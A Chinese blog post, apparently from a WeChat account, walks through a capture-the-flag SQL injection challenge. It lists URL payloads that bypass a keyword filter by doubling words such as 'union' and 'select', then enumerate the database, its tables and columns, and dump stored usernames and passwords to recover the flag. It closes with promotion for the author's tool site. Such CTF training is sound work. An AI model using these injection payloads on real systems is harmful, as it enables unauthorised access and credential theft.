随波逐流工作室—-探索前沿科技，分享最新软件。点击标题下蓝字“长弓三皮”关注，我们将为您提供有深度、有价值、有意思的阅读。
朋友们，现在只对常读和星标的公众号才展示大图推送，建议大家把长弓三皮“设为星标”，否则可能就看不到了啦！
作者：随波逐流
打开 [随波逐流]WEB安全工具访问
随便输入admin:123
源代码也看不出什么
扫描试试
密码：ce9e583ae35e11bf386a4da146abfb87
?username=admin&password=ce9e583ae35e11bf386a4da146abfb87' oorrder bbyy '3' %23
登录回显成功，说明有3列
?username=admin&password=' uniunionon selselectect 1,2,3%23
2、3列回显位
爆数据库
?username=admin&password=' uniunionon selselectect 1,2,database()%23
爆表名
?username=admin&password=' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()%23
爆列名
?username=admin&password=' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'%23
爆字段数据
?username=admin&password=' uniunionon selselectect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql%23
CTF2{630f8c35-65af-4be3-b25d-856cb5b29e16}
-------------------------------------------
软件发布网址： 随波逐流信息安全网
http://www.1o1o.xyz
微信公众号：长弓三皮
--------------------------------------------
你若喜欢，为“长弓三皮”点个赞和在看哦 